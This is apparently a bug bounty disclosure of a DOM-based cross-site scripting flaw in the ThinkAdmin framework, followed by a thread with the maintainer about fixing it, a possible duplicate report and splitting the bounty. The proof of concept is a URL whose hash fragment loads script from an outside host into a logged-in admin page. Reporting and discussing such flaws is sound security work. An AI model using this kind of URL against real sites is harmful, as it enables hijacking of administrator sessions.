Cross-site Scripting (XSS) - DOM in zoujingli/thinkadmin
Reported on
Sep 15th 2021
Description
DOM based xss via url hash frgament
Proof of Concept
First login into https://v6.thinkadmin.top and then visit https://v6.thinkadmin.top/admin.html#https://bbounty.000webhostapp.com/cors.php?id=xxxxx2 and see xss is executed
Impact
DOM based xss via url hash fragment
The framework design needs to use hash to load page resources and allows the use of JavaScript. Therefore, such problems are inevitable and need to be used.
If you want to load hash fragment then only allow server url.
Here you can see I can set any arbitary url and it will fetch data
Here in my poc url you can see it fetches any url. But you need to set url to be fetch from own server
I'm very sorry. After careful consideration, I decided to fix this problem, but it has been closed and can't be marked.
@admin . I asking admin to re-open this bug so that you can validate the bug
I have updated the report to pending - feel free to mark it as you please!
@maintainer - just jumping in here!
We just want to know if you perceive this report to be a duplicate of:
https://huntr.dev/bounties/5c129785-cf80-4123-b869-3945b386139a/
i confirm the duplicated report , but not the verbose error reported on my original report . So i hope you can accept also my report .
As we are in a unique situation, would both researchers be happy to split the bounty for the disclosure, half/half?